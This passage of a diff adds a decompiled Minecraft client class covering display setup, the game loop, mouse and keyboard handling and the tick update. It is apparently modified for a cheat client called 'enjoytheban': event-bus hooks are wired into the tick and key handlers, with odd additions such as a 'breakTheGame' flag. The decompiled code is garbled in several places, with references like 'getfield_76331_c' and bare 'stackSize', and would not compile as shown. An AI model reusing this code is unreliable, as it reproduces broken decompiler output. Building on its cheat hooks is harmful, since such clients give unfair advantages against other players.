+            if ((var7.getBitsPerPixel() == 32) && (var7.getWidth() == var4.getWidth() / 2) && (var7.getHeight() == var4.getHeight() / 2))
+            {
+              var2 = var7;
+              break;
+            }
+          }
+        }
+      }
+    }
+    
+    Display.setDisplayMode(var2);
+    displayWidth = var2.getWidth();
+    displayHeight = var2.getHeight();
+  }
+  
+  private void func_180510_a(TextureManager p_180510_1_)
+  {
+    ScaledResolution var2 = new ScaledResolution(this);
+    int var3 = var2.getScaleFactor();
+    Framebuffer var4 = new Framebuffer(var2.getScaledWidth() * var3, var2.getScaledHeight() * var3, true);
+    var4.bindFramebuffer(false);
+    GlStateManager.matrixMode(5889);
+    GlStateManager.loadIdentity();
+    GlStateManager.ortho(0.0D, var2.getScaledWidth(), var2.getScaledHeight(), 0.0D, 1000.0D, 3000.0D);
+    GlStateManager.matrixMode(5888);
+    GlStateManager.loadIdentity();
+    GlStateManager.translate(0.0F, 0.0F, -2000.0F);
+    GlStateManager.disableLighting();
+    GlStateManager.disableFog();
+    GlStateManager.disableDepth();
+    GlStateManager.func_179098_w();
+    InputStream var5 = null;
+    
+    try
+    {
+      var5 = mcDefaultResourcePack.getInputStream(locationMojangPng);
+      mojangLogo = p_180510_1_.getDynamicTextureLocation("logo", new net.minecraft.client.renderer.texture.DynamicTexture(ImageIO.read(var5)));
+      p_180510_1_.bindTexture(mojangLogo);
+    }
+    catch (IOException var12)
+    {
+      logger.error("Unable to load logo: " + locationMojangPng, var12);
+    }
+    finally
+    {
+      IOUtils.closeQuietly(var5);
+    }
+    
+    Tessellator var6 = Tessellator.getInstance();
+    WorldRenderer var7 = var6.getWorldRenderer();
+    var7.startDrawingQuads();
+    var7.func_178991_c(16777215);
+    var7.addVertexWithUV(0.0D, displayHeight, 0.0D, 0.0D, 0.0D);
+    var7.addVertexWithUV(displayWidth, displayHeight, 0.0D, 0.0D, 0.0D);
+    var7.addVertexWithUV(displayWidth, 0.0D, 0.0D, 0.0D, 0.0D);
+    var7.addVertexWithUV(0.0D, 0.0D, 0.0D, 0.0D, 0.0D);
+    var6.draw();
+    GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+    var7.func_178991_c(16777215);
+    short var8 = 256;
+    short var9 = 256;
+    scaledTessellator((var2.getScaledWidth() - var8) / 2, (var2.getScaledHeight() - var9) / 2, 0, 0, var8, var9);
+    GlStateManager.disableLighting();
+    GlStateManager.disableFog();
+    var4.unbindFramebuffer();
+    var4.framebufferRender(var2.getScaledWidth() * var3, var2.getScaledHeight() * var3);
+    GlStateManager.enableAlpha();
+    GlStateManager.alphaFunc(516, 0.1F);
+    func_175601_h();
+  }
+  
+
+
+
+  public void scaledTessellator(int width, int height, int width2, int height2, int stdTextureWidth, int stdTextureHeight)
+  {
+    float var7 = 0.00390625F;
+    float var8 = 0.00390625F;
+    WorldRenderer var9 = Tessellator.getInstance().getWorldRenderer();
+    var9.startDrawingQuads();
+    var9.addVertexWithUV(width + 0, height + stdTextureHeight, 0.0D, (width2 + 0) * var7, (height2 + stdTextureHeight) * var8);
+    var9.addVertexWithUV(width + stdTextureWidth, height + stdTextureHeight, 0.0D, (width2 + stdTextureWidth) * var7, (height2 + stdTextureHeight) * var8);
+    var9.addVertexWithUV(width + stdTextureWidth, height + 0, 0.0D, (width2 + stdTextureWidth) * var7, (height2 + 0) * var8);
+    var9.addVertexWithUV(width + 0, height + 0, 0.0D, (width2 + 0) * var7, (height2 + 0) * var8);
+    Tessellator.getInstance().draw();
+  }
+  
+
+
+
+  public ISaveFormat getSaveLoader()
+  {
+    return saveLoader;
+  }
+  
+
+
+
+  public void displayGuiScreen(GuiScreen guiScreenIn)
+  {
+    if (currentScreen != null)
+    {
+      currentScreen.onGuiClosed();
+    }
+    
+    if ((guiScreenIn == null) && (theWorld == null))
+    {
+      guiScreenIn = new GuiMainMenu();
+    }
+    else if ((guiScreenIn == null) && (thePlayer.getHealth() <= 0.0F))
+    {
+      guiScreenIn = new GuiGameOver();
+    }
+    
+    if ((guiScreenIn instanceof GuiMainMenu))
+    {
+      gameSettings.showDebugInfo = false;
+      ingameGUI.getChatGUI().clearChatMessages();
+    }
+    
+    currentScreen = guiScreenIn;
+    
+    if (guiScreenIn != null)
+    {
+      setIngameNotInFocus();
+      ScaledResolution var2 = new ScaledResolution(this);
+      int var3 = var2.getScaledWidth();
+      int var4 = var2.getScaledHeight();
+      guiScreenIn.setWorldAndResolution(this, var3, var4);
+      skipRenderWorld = false;
+    }
+    else
+    {
+      mcSoundHandler.resumeSounds();
+      setIngameFocus();
+    }
+  }
+  
+
+
+
+  private void checkGLError(String message)
+  {
+    if (field_175619_R)
+    {
+      int var2 = GL11.glGetError();
+      
+      if (var2 != 0)
+      {
+        String var3 = GLU.gluErrorString(var2);
+        logger.error("########## GL ERROR ##########");
+        logger.error("@ " + message);
+        logger.error(var2 + ": " + var3);
+      }
+    }
+  }
+  
+
+
+
+
+  public void shutdownMinecraftApplet()
+  {
+    try
+    {
+      stream.shutdownStream();
+      logger.info("Stopping!");
+      
+      Client.instance.shutDown();
+      try
+      {
+        loadWorld(null);
+      }
+      catch (Throwable localThrowable) {}
+      
+
+
+
+      mcSoundHandler.unloadSounds();
+    }
+    finally
+    {
+      Display.destroy();
+      
+      if (!hasCrashed)
+      {
+        System.exit(0);
+      }
+    }
+    
+    System.gc();
+  }
+  
+
+
+  private void runGameLoop()
+    throws IOException
+  {
+    mcProfiler.startSection("root");
+    
+    if ((Display.isCreated()) && (Display.isCloseRequested()))
+    {
+      shutdown();
+    }
+    
+    if ((isGamePaused) && (theWorld != null))
+    {
+      float var1 = timer.renderPartialTicks;
+      timer.updateTimer();
+      timer.renderPartialTicks = var1;
+    }
+    else
+    {
+      timer.updateTimer();
+    }
+    
+    mcProfiler.startSection("scheduledExecutables");
+    Queue var6 = scheduledTasks;
+    
+    synchronized (scheduledTasks)
+    {
+      while (!scheduledTasks.isEmpty())
+      {
+        ((FutureTask)scheduledTasks.poll()).run();
+      }
+    }
+    
+    mcProfiler.endSection();
+    long var7 = System.nanoTime();
+    mcProfiler.startSection("tick");
+    
+    for (int var3 = 0; var3 < timer.elapsedTicks; var3++)
+    {
+      runTick();
+    }
+    
+    mcProfiler.endStartSection("preRenderErrors");
+    long var8 = System.nanoTime() - var7;
+    checkGLError("Pre render");
+    mcProfiler.endStartSection("sound");
+    mcSoundHandler.setListener(thePlayer, timer.renderPartialTicks);
+    mcProfiler.endSection();
+    mcProfiler.startSection("render");
+    GlStateManager.pushMatrix();
+    GlStateManager.clear(16640);
+    framebufferMc.bindFramebuffer(true);
+    mcProfiler.startSection("display");
+    GlStateManager.func_179098_w();
+    
+    if ((thePlayer != null) && (thePlayer.isEntityInsideOpaqueBlock()))
+    {
+      gameSettings.thirdPersonView = 0;
+    }
+    
+    mcProfiler.endSection();
+    
+    if (!skipRenderWorld)
+    {
+      mcProfiler.endStartSection("gameRenderer");
+      entityRenderer.updateCameraAndRender(timer.renderPartialTicks);
+      mcProfiler.endSection();
+    }
+    
+    mcProfiler.endSection();
+    
+    if ((gameSettings.showDebugInfo) && (gameSettings.showDebugProfilerChart) && (!gameSettings.hideGUI))
+    {
+      if (!mcProfiler.profilingEnabled)
+      {
+        mcProfiler.clearProfiling();
+      }
+      
+      mcProfiler.profilingEnabled = true;
+      displayDebugInfo(var8);
+    }
+    else
+    {
+      mcProfiler.profilingEnabled = false;
+      prevFrameTime = System.nanoTime();
+    }
+    
+    guiAchievement.updateAchievementWindow();
+    framebufferMc.unbindFramebuffer();
+    GlStateManager.popMatrix();
+    GlStateManager.pushMatrix();
+    framebufferMc.framebufferRender(displayWidth, displayHeight);
+    GlStateManager.popMatrix();
+    GlStateManager.pushMatrix();
+    entityRenderer.func_152430_c(timer.renderPartialTicks);
+    GlStateManager.popMatrix();
+    mcProfiler.startSection("root");
+    func_175601_h();
+    Thread.yield();
+    mcProfiler.startSection("stream");
+    mcProfiler.startSection("update");
+    stream.func_152935_j();
+    mcProfiler.endStartSection("submit");
+    stream.func_152922_k();
+    mcProfiler.endSection();
+    mcProfiler.endSection();
+    checkGLError("Post render");
+    fpsCounter += 1;
+    isGamePaused = ((isSingleplayer()) && (currentScreen != null) && (currentScreen.doesGuiPauseGame()) && (!theIntegratedServer.getPublic()));
+    
+    while (getSystemTime() >= debugUpdateTime + 1000L)
+    {
+      debugFPS = fpsCounter;
+      debug = String.format("%d fps (%d chunk update%s) T: %s%s%s%s%s", new Object[] { Integer.valueOf(debugFPS), Integer.valueOf(RenderChunk.field_178592_a), RenderChunk.field_178592_a != 1 ? "s" : "", gameSettings.limitFramerate == GameSettings.Options.FRAMERATE_LIMIT.getValueMax() ? "inf" : Integer.valueOf(gameSettings.limitFramerate), gameSettings.enableVsync ? " vsync" : "", gameSettings.fancyGraphics ? "" : " fast", gameSettings.clouds ? " clouds" : "", OpenGlHelper.func_176075_f() ? " vbo" : "" });
+      RenderChunk.field_178592_a = 0;
+      debugUpdateTime += 1000L;
+      fpsCounter = 0;
+      usageSnooper.addMemoryStatsToSnooper();
+      
+      if (!usageSnooper.isSnooperRunning())
+      {
+        usageSnooper.startSnooper();
+      }
+    }
+    
+    if (isFramerateLimitBelowMax())
+    {
+      mcProfiler.startSection("fpslimit_wait");
+      Display.sync(getLimitFramerate());
+      mcProfiler.endSection();
+    }
+    
+    mcProfiler.endSection();
+  }
+  
+  public void func_175601_h()
+  {
+    mcProfiler.startSection("display_update");
+    Display.update();
+    mcProfiler.endSection();
+    func_175604_i();
+  }
+  
+  protected void func_175604_i()
+  {
+    if ((!fullscreen) && (Display.wasResized()))
+    {
+      int var1 = displayWidth;
+      int var2 = displayHeight;
+      displayWidth = Display.getWidth();
+      displayHeight = Display.getHeight();
+      
+      if ((displayWidth != var1) || (displayHeight != var2))
+      {
+        if (displayWidth <= 0)
+        {
+          displayWidth = 1;
+        }
+        
+        if (displayHeight <= 0)
+        {
+          displayHeight = 1;
+        }
+        
+        resize(displayWidth, displayHeight);
+      }
+    }
+  }
+  
+  public int getLimitFramerate()
+  {
+    return (theWorld == null) && (currentScreen != null) ? 30 : gameSettings.limitFramerate;
+  }
+  
+  public boolean isFramerateLimitBelowMax()
+  {
+    return getLimitFramerate() < GameSettings.Options.FRAMERATE_LIMIT.getValueMax();
+  }
+  
+  public void freeMemory()
+  {
+    try
+    {
+      memoryReserve = new byte[0];
+      renderGlobal.deleteAllDisplayLists();
+    }
+    catch (Throwable localThrowable) {}
+    
+
+
+
+    try
+    {
+      System.gc();
+      loadWorld(null);
+    }
+    catch (Throwable localThrowable1) {}
+    
+
+
+
+    System.gc();
+  }
+  
+
+
+
+  private void updateDebugProfilerName(int keyCount)
+  {
+    List var2 = mcProfiler.getProfilingData(debugProfilerName);
+    
+    if ((var2 != null) && (!var2.isEmpty()))
+    {
+      Profiler.Result var3 = (Profiler.Result)var2.remove(0);
+      
+      if (keyCount == 0)
+      {
+        if (field_76331_c.length() > 0)
+        {
+          int var4 = debugProfilerName.lastIndexOf(".");
+          
+          if (var4 >= 0)
+          {
+            debugProfilerName = debugProfilerName.substring(0, var4);
+          }
+        }
+      }
+      else
+      {
+        keyCount--;
+        
+        if ((keyCount < var2.size()) && (!getfield_76331_c.equals("unspecified")))
+        {
+          if (debugProfilerName.length() > 0)
+          {
+            debugProfilerName += ".";
+          }
+          
+          debugProfilerName += getfield_76331_c;
+        }
+      }
+    }
+  }
+  
+
+
+
+  private void displayDebugInfo(long elapsedTicksTime)
+  {
+    if (mcProfiler.profilingEnabled)
+    {
+      List var3 = mcProfiler.getProfilingData(debugProfilerName);
+      Profiler.Result var4 = (Profiler.Result)var3.remove(0);
+      GlStateManager.clear(256);
+      GlStateManager.matrixMode(5889);
+      GlStateManager.enableColorMaterial();
+      GlStateManager.loadIdentity();
+      GlStateManager.ortho(0.0D, displayWidth, displayHeight, 0.0D, 1000.0D, 3000.0D);
+      GlStateManager.matrixMode(5888);
+      GlStateManager.loadIdentity();
+      GlStateManager.translate(0.0F, 0.0F, -2000.0F);
+      GL11.glLineWidth(1.0F);
+      GlStateManager.func_179090_x();
+      Tessellator var5 = Tessellator.getInstance();
+      WorldRenderer var6 = var5.getWorldRenderer();
+      short var7 = 160;
+      int var8 = displayWidth - var7 - 10;
+      int var9 = displayHeight - var7 * 2;
+      GlStateManager.enableBlend();
+      var6.startDrawingQuads();
+      var6.func_178974_a(0, 200);
+      var6.addVertex(var8 - var7 * 1.1F, var9 - var7 * 0.6F - 16.0F, 0.0D);
+      var6.addVertex(var8 - var7 * 1.1F, var9 + var7 * 2, 0.0D);
+      var6.addVertex(var8 + var7 * 1.1F, var9 + var7 * 2, 0.0D);
+      var6.addVertex(var8 + var7 * 1.1F, var9 - var7 * 0.6F - 16.0F, 0.0D);
+      var5.draw();
+      GlStateManager.disableBlend();
+      double var10 = 0.0D;
+      
+
+      for (int var12 = 0; var12 < var3.size(); var12++)
+      {
+        Profiler.Result var13 = (Profiler.Result)var3.get(var12);
+        int var14 = MathHelper.floor_double(field_76332_a / 4.0D) + 1;
+        var6.startDrawing(6);
+        var6.func_178991_c(var13.func_76329_a());
+        var6.addVertex(var8, var9, 0.0D);
+        
+
+
+
+
+        for (int var15 = var14; var15 >= 0; var15--)
+        {
+          float var16 = (float)((var10 + field_76332_a * var15 / var14) * 3.141592653589793D * 2.0D / 100.0D);
+          float var17 = MathHelper.sin(var16) * var7;
+          float var18 = MathHelper.cos(var16) * var7 * 0.5F;
+          var6.addVertex(var8 + var17, var9 - var18, 0.0D);
+        }
+        
+        var5.draw();
+        var6.startDrawing(5);
+        var6.func_178991_c((var13.func_76329_a() & 0xFEFEFE) >> 1);
+        
+        for (var15 = var14; var15 >= 0; var15--)
+        {
+          float var16 = (float)((var10 + field_76332_a * var15 / var14) * 3.141592653589793D * 2.0D / 100.0D);
+          float var17 = MathHelper.sin(var16) * var7;
+          float var18 = MathHelper.cos(var16) * var7 * 0.5F;
+          var6.addVertex(var8 + var17, var9 - var18, 0.0D);
+          var6.addVertex(var8 + var17, var9 - var18 + 10.0F, 0.0D);
+        }
+        
+        var5.draw();
+        var10 += field_76332_a;
+      }
+      
+      DecimalFormat var19 = new DecimalFormat("##0.00");
+      GlStateManager.func_179098_w();
+      String var20 = "";
+      
+      if (!field_76331_c.equals("unspecified"))
+      {
+        var20 = var20 + "[0] ";
+      }
+      
+      if (field_76331_c.length() == 0)
+      {
+        var20 = var20 + "ROOT ";
+      }
+      else
+      {
+        var20 = var20 + field_76331_c + " ";
+      }
+      
+      int var14 = 16777215;
+      fontRendererObj.drawStringWithShadow(var20, var8 - var7, var9 - var7 / 2 - 16, var14);
+      fontRendererObj.drawStringWithShadow(var20 = var19.format(field_76330_b) + "%", var8 + var7 - fontRendererObj.getStringWidth(var20), var9 - var7 / 2 - 16, var14);
+      
+      for (int var21 = 0; var21 < var3.size(); var21++)
+      {
+        Profiler.Result var22 = (Profiler.Result)var3.get(var21);
+        String var23 = "";
+        
+        if (field_76331_c.equals("unspecified"))
+        {
+          var23 = var23 + "[?] ";
+        }
+        else
+        {
+          var23 = var23 + "[" + (var21 + 1) + "] ";
+        }
+        
+        var23 = var23 + field_76331_c;
+        fontRendererObj.drawStringWithShadow(var23, var8 - var7, var9 + var7 / 2 + var21 * 8 + 20, var22.func_76329_a());
+        fontRendererObj.drawStringWithShadow(var23 = var19.format(field_76332_a) + "%", var8 + var7 - 50 - fontRendererObj.getStringWidth(var23), var9 + var7 / 2 + var21 * 8 + 20, var22.func_76329_a());
+        fontRendererObj.drawStringWithShadow(var23 = var19.format(field_76330_b) + "%", var8 + var7 - fontRendererObj.getStringWidth(var23), var9 + var7 / 2 + var21 * 8 + 20, var22.func_76329_a());
+      }
+    }
+  }
+  
+
+
+
+  public void shutdown()
+  {
+    running = false;
+  }
+  
+
+
+
+
+  public void setIngameFocus()
+  {
+    if (Display.isActive())
+    {
+      if (!inGameHasFocus)
+      {
+        inGameHasFocus = true;
+        mouseHelper.grabMouseCursor();
+        displayGuiScreen(null);
+        leftClickCounter = 10000;
+      }
+    }
+  }
+  
+
+
+
+  public void setIngameNotInFocus()
+  {
+    if (inGameHasFocus)
+    {
+      KeyBinding.unPressAllKeys();
+      inGameHasFocus = false;
+      mouseHelper.ungrabMouseCursor();
+    }
+  }
+  
+
+
+
+  public void displayInGameMenu()
+  {
+    if (currentScreen == null)
+    {
+      displayGuiScreen(new net.minecraft.client.gui.GuiIngameMenu());
+      
+      if ((isSingleplayer()) && (!theIntegratedServer.getPublic()))
+      {
+        mcSoundHandler.pauseSounds();
+      }
+    }
+  }
+  
+  private void sendClickBlockToController(boolean leftClick)
+  {
+    if (!leftClick)
+    {
+      leftClickCounter = 0;
+    }
+    
+    if ((leftClickCounter <= 0) && (!thePlayer.isUsingItem()))
+    {
+      if ((leftClick) && (objectMouseOver != null) && (objectMouseOver.typeOfHit == MovingObjectPosition.MovingObjectType.BLOCK))
+      {
+        BlockPos var2 = objectMouseOver.func_178782_a();
+        
+        if ((theWorld.getBlockState(var2).getBlock().getMaterial() != Material.air) && (playerController.func_180512_c(var2, objectMouseOver.field_178784_b)))
+        {
+          effectRenderer.func_180532_a(var2, objectMouseOver.field_178784_b);
+          thePlayer.swingItem();
+        }
+      }
+      else
+      {
+        playerController.resetBlockRemoving();
+      }
+    }
+  }
+  
+  private void clickMouse()
+  {
+    if (leftClickCounter <= 0)
+    {
+      thePlayer.swingItem();
+      
+      if (objectMouseOver == null)
+      {
+        logger.error("Null returned as 'hitResult', this shouldn't happen!");
+        
+        if (playerController.isNotCreative())
+        {
+          leftClickCounter = 10;
+        }
+      }
+      else
+      {
+        switch (SwitchEnumMinecartType.field_152390_a[objectMouseOver.typeOfHit.ordinal()])
+        {
+        case 1: 
+          playerController.attackEntity(thePlayer, objectMouseOver.entityHit);
+          break;
+        
+        case 2: 
+          BlockPos var1 = objectMouseOver.func_178782_a();
+          
+          if (theWorld.getBlockState(var1).getBlock().getMaterial() != Material.air)
+          {
+            playerController.func_180511_b(var1, objectMouseOver.field_178784_b); }
+          break;
+        }
+        
+        
+
+        if (playerController.isNotCreative())
+        {
+          leftClickCounter = 10;
+        }
+      }
+    }
+  }
+  
+
+
+
+
+  private void rightClickMouse()
+  {
+    rightClickDelayTimer = 4;
+    boolean var1 = true;
+    ItemStack var2 = thePlayer.inventory.getCurrentItem();
+    
+    if (objectMouseOver == null)
+    {
+      logger.warn("Null returned as 'hitResult', this shouldn't happen!");
+    }
+    else
+    {
+      switch (SwitchEnumMinecartType.field_152390_a[objectMouseOver.typeOfHit.ordinal()])
+      {
+      case 1: 
+        if (playerController.func_178894_a(thePlayer, objectMouseOver.entityHit, objectMouseOver))
+        {
+          var1 = false;
+        }
+        else if (playerController.interactWithEntitySendPacket(thePlayer, objectMouseOver.entityHit))
+        {
+          var1 = false;
+        }
+        
+        break;
+      
+      case 2: 
+        BlockPos var3 = objectMouseOver.func_178782_a();
+        
+        if (theWorld.getBlockState(var3).getBlock().getMaterial() != Material.air)
+        {
+          int var4 = var2 != null ? stackSize : 0;
+          
+          if (playerController.func_178890_a(thePlayer, theWorld, var2, var3, objectMouseOver.field_178784_b, objectMouseOver.hitVec))
+          {
+            var1 = false;
+            thePlayer.swingItem();
+          }
+          
+          if (var2 == null)
+          {
+            return;
+          }
+          
+          if (stackSize == 0)
+          {
+            thePlayer.inventory.mainInventory[thePlayer.inventory.currentItem] = null;
+          }
+          else if ((stackSize != var4) || (playerController.isInCreativeMode()))
+          {
+            entityRenderer.itemRenderer.resetEquippedProgress();
+          }
+        }
+        break;
+      }
+    }
+    if (var1)
+    {
+      ItemStack var5 = thePlayer.inventory.getCurrentItem();
+      
+      if ((var5 != null) && (playerController.sendUseItem(thePlayer, theWorld, var5)))
+      {
+        entityRenderer.itemRenderer.resetEquippedProgress2();
+      }
+    }
+  }
+  
+
+
+
+  public void toggleFullscreen()
+  {
+    try
+    {
+      fullscreen = (!fullscreen);
+      gameSettings.fullScreen = fullscreen;
+      
+      if (fullscreen)
+      {
+        updateDisplayMode();
+        displayWidth = Display.getDisplayMode().getWidth();
+        displayHeight = Display.getDisplayMode().getHeight();
+        
+        if (displayWidth <= 0)
+        {
+          displayWidth = 1;
+        }
+        
+        if (displayHeight <= 0)
+        {
+          displayHeight = 1;
+        }
+      }
+      else
+      {
+        Display.setDisplayMode(new DisplayMode(tempDisplayWidth, tempDisplayHeight));
+        displayWidth = tempDisplayWidth;
+        displayHeight = tempDisplayHeight;
+        
+        if (displayWidth <= 0)
+        {
+          displayWidth = 1;
+        }
+        
+        if (displayHeight <= 0)
+        {
+          displayHeight = 1;
+        }
+      }
+      
+      if (currentScreen != null)
+      {
+        resize(displayWidth, displayHeight);
+      }
+      else
+      {
+        updateFramebufferSize();
+      }
+      
+      Display.setFullscreen(fullscreen);
+      Display.setVSyncEnabled(gameSettings.enableVsync);
+      func_175601_h();
+    }
+    catch (Exception var2)
+    {
+      logger.error("Couldn't toggle fullscreen", var2);
+    }
+  }
+  
+
+
+
+  private void resize(int width, int height)
+  {
+    displayWidth = Math.max(1, width);
+    displayHeight = Math.max(1, height);
+    
+    if (currentScreen != null)
+    {
+      ScaledResolution var3 = new ScaledResolution(this);
+      currentScreen.func_175273_b(this, var3.getScaledWidth(), var3.getScaledHeight());
+    }
+    
+    loadingScreen = new LoadingScreenRenderer(this);
+    updateFramebufferSize();
+  }
+  
+  private void updateFramebufferSize()
+  {
+    framebufferMc.createBindFramebuffer(displayWidth, displayHeight);
+    
+    if (entityRenderer != null)
+    {
+      entityRenderer.updateShaderGroupSize(displayWidth, displayHeight);
+    }
+  }
+  
+
+
+
+  public void runTick()
+    throws IOException
+  {
+    int z = 3929;int y = 10122;int x = 220345;
+    if (thePlayer != null) {
+      EventBus.getInstance().call(new EventTick());
+    }
+    
+    if (rightClickDelayTimer > 0)
+    {
+      rightClickDelayTimer -= 1;
+    }
+    
+    mcProfiler.startSection("gui");
+    
+    if (!isGamePaused)
+    {
+      ingameGUI.updateTick();
+    }
+    
+    mcProfiler.endSection();
+    entityRenderer.getMouseOver(1.0F);
+    mcProfiler.startSection("gameMode");
+    
+    if ((!isGamePaused) && (theWorld != null))
+    {
+      playerController.updateController();
+    }
+    
+    mcProfiler.endStartSection("textures");
+    
+    if (!isGamePaused)
+    {
+      renderEngine.tick();
+    }
+    
+    if ((currentScreen == null) && (thePlayer != null))
+    {
+      if (thePlayer.getHealth() <= 0.0F)
+      {
+        displayGuiScreen(null);
+      }
+      else if ((thePlayer.isPlayerSleeping()) && (theWorld != null))
+      {
+        displayGuiScreen(new GuiSleepMP());
+      }
+    }
+    else if ((currentScreen != null) && ((currentScreen instanceof GuiSleepMP)) && (!thePlayer.isPlayerSleeping()))
+    {
+      displayGuiScreen(null);
+    }
+    
+    if (currentScreen != null)
+    {
+      leftClickCounter = 10000;
+    }
+    
+
+
+
+    if (currentScreen != null)
+    {
+      try
+      {
+        currentScreen.handleInput();
+      }
+      catch (Throwable var7)
+      {
+        CrashReport var2 = CrashReport.makeCrashReport(var7, "Updating screen events");
+        CrashReportCategory var3 = var2.makeCategory("Affected screen");
+        var3.addCrashSectionCallable("Screen name", new Callable()
+        {
+          private static final String __OBFID = "CL_00000640";
+          
+          public String call() {
+            return currentScreen.getClass().getCanonicalName();
+          }
+          
+          public Object call1() {
+            return call();
+          }
+        });
+        throw new ReportedException(var2);
+      }
+      
+      if (currentScreen != null)
+      {
+        try
+        {
+          currentScreen.updateScreen();
+        }
+        catch (Throwable var6)
+        {
+          CrashReport var2 = CrashReport.makeCrashReport(var6, "Ticking screen");
+          CrashReportCategory var3 = var2.makeCategory("Affected screen");
+          var3.addCrashSectionCallable("Screen name", new Callable()
+          {
+            private static final String __OBFID = "CL_00000642";
+            
+            public String call() {
+              return currentScreen.getClass().getCanonicalName();
+            }
+            
+            public Object call1() {
+              return call();
+            }
+          });
+          throw new ReportedException(var2);
+        }
+      }
+    }
+    
+    if ((currentScreen == null) || (currentScreen.allowUserInput))
+    {
+      mcProfiler.endStartSection("mouse");
+      
+
+      while (Mouse.next())
+      {
+        int var1 = Mouse.getEventButton();
+        KeyBinding.setKeyBindState(var1 - 100, Mouse.getEventButtonState());
+        
+        if (Mouse.getEventButtonState())
+        {
+          if ((thePlayer.func_175149_v()) && (var1 == 2))
+          {
+            ingameGUI.func_175187_g().func_175261_b();
+          }
+          else
+          {
+            KeyBinding.onTick(var1 - 100);
+          }
+        }
+        
+        long var10 = getSystemTime() - systemTime;
+        
+        if (var10 <= 200L)
+        {
+          int var4 = Mouse.getEventDWheel();
+          
+          if (var4 != 0)
+          {
+            if (thePlayer.func_175149_v())
+            {
+              var4 = var4 < 0 ? -1 : 1;
+              
+              if (ingameGUI.func_175187_g().func_175262_a())
+              {
+                ingameGUI.func_175187_g().func_175259_b(-var4);
+              }
+              else
+              {
+                float var5 = MathHelper.clamp_float(thePlayer.capabilities.getFlySpeed() + var4 * 0.005F, 0.0F, 0.2F);
+                thePlayer.capabilities.setFlySpeed(var5);
+              }
+            }
+            else
+            {
+              thePlayer.inventory.changeCurrentItem(var4);
+            }
+          }
+          
+          if (currentScreen == null)
+          {
+            if ((!inGameHasFocus) && (Mouse.getEventButtonState()))
+            {
+              setIngameFocus();
+            }
+          }
+          else if (currentScreen != null)
+          {
+            currentScreen.handleMouseInput();
+          }
+        }
+      }
+      
+      if (leftClickCounter > 0)
+      {
+        leftClickCounter -= 1;
+      }
+      
+      mcProfiler.endStartSection("keyboard");
+      
+      while (Keyboard.next())
+      {
+        int var1 = Keyboard.getEventKey() == 0 ? Keyboard.getEventCharacter() + 'Ā' : Keyboard.getEventKey();
+        KeyBinding.setKeyBindState(var1, Keyboard.getEventKeyState());
+        
+        if (Keyboard.getEventKeyState())
+        {
+          KeyBinding.onTick(var1);
+        }
+        
+        if (debugCrashKeyPressTime > 0L)
+        {
+          if (getSystemTime() - debugCrashKeyPressTime >= 6000L)
+          {
+            throw new ReportedException(new CrashReport("Manually triggered debug crash", new Throwable()));
+          }
+          
+          if ((!Keyboard.isKeyDown(46)) || (!Keyboard.isKeyDown(61)))
+          {
+            debugCrashKeyPressTime = -1L;
+          }
+        }
+        else if ((Keyboard.isKeyDown(46)) && (Keyboard.isKeyDown(61)))
+        {
+          debugCrashKeyPressTime = getSystemTime();
+        }
+        
+        dispatchKeypresses();
+        
+        if (Keyboard.getEventKeyState())
+        {
+          if ((var1 == 62) && (entityRenderer != null))
+          {
+            entityRenderer.func_175071_c();
+          }
+          
+          if (currentScreen != null)
+          {
+            currentScreen.handleKeyboardInput();
+
+          }
+          else
+          {
+            EventBus.getInstance().call(new com.enjoytheban.api.events.misc.EventKey(var1));
+            
+            if (var1 == 1)
+            {
+              displayInGameMenu();
+            }
+            
+            if ((var1 == 32) && (Keyboard.isKeyDown(61)) && (ingameGUI != null))
+            {
+              ingameGUI.getChatGUI().clearChatMessages();
+            }
+            
+            if ((var1 == 31) && (Keyboard.isKeyDown(61)))
+            {
+              refreshResources();
+            }
+            
+            if (((var1 != 17) || (!Keyboard.isKeyDown(61))) || (
+            
+
+
+
+              ((var1 != 18) || (!Keyboard.isKeyDown(61))) || (
+              
+
+
+
+              ((var1 != 47) || (!Keyboard.isKeyDown(61))) || (
+              
+
+
+
+              ((var1 != 38) || (!Keyboard.isKeyDown(61))) || (
+              
+
+
+
+              ((var1 != 22) || (!Keyboard.isKeyDown(61))) || (
+              
+
+
+
+              (var1 == 20) && (Keyboard.isKeyDown(61))))))))
+            {
+              refreshResources();
+            }
+            
+            if ((var1 == 33) && (Keyboard.isKeyDown(61)))
+            {
+              boolean var11 = Keyboard.isKeyDown(42) | Keyboard.isKeyDown(54);
+              gameSettings.setOptionValue(GameSettings.Options.RENDER_DISTANCE, var11 ? -1 : 1);
+            }
+            
+            if ((var1 == 30) && (Keyboard.isKeyDown(61)))
+            {
+              renderGlobal.loadRenderers();
+            }
+            
+            if ((var1 == 35) && (Keyboard.isKeyDown(61)))
+            {
+              gameSettings.advancedItemTooltips = (!gameSettings.advancedItemTooltips);
+              gameSettings.saveOptions();
+            }
+            
+            if ((var1 == 48) && (Keyboard.isKeyDown(61)))
+            {
+              renderManager.func_178629_b(!renderManager.func_178634_b());
+            }
+            
+            if ((var1 == 25) && (Keyboard.isKeyDown(61)))
+            {
+              gameSettings.pauseOnLostFocus = (!gameSettings.pauseOnLostFocus);
+              gameSettings.saveOptions();
+            }
+            
+            if (var1 == 59)
+            {
+              gameSettings.hideGUI = (!gameSettings.hideGUI);
+            }
+            
+            if (var1 == 61)
+            {
+              gameSettings.showDebugInfo = (!gameSettings.showDebugInfo);
+              gameSettings.showDebugProfilerChart = GuiScreen.isShiftKeyDown();
+            }
+            
+            if (gameSettings.keyBindTogglePerspective.isPressed())
+            {
+              gameSettings.thirdPersonView += 1;
+              
+              if (gameSettings.thirdPersonView > 2)
+              {
+                gameSettings.thirdPersonView = 0;
+              }
+              
+              if (gameSettings.thirdPersonView == 0)
+              {
+                entityRenderer.func_175066_a(func_175606_aa());
+              }
+              else if (gameSettings.thirdPersonView == 1)
+              {
+                entityRenderer.func_175066_a(null);
+              }
+            }
+            
+            if ((gameSettings.keyBindSmoothCamera.isPressed()) || (breakTheGame))
+            {
+              gameSettings.smoothCamera = (!gameSettings.smoothCamera);
+            }
+          }
+          
+          if ((gameSettings.showDebugInfo) && (gameSettings.showDebugProfilerChart))
+          {
+            if (var1 == 11)
+            {
+              updateDebugProfilerName(0);
+            }
+            
+            for (int var12 = 0; var12 < 9; var12++)
+            {
+              if (var1 == 2 + var12)
+              {
+                updateDebugProfilerName(var12 + 1);
+              }
+            }
+          }
+        }
+      }
+      
+      for (int var1 = 0; var1 < 9; var1++)
+      {
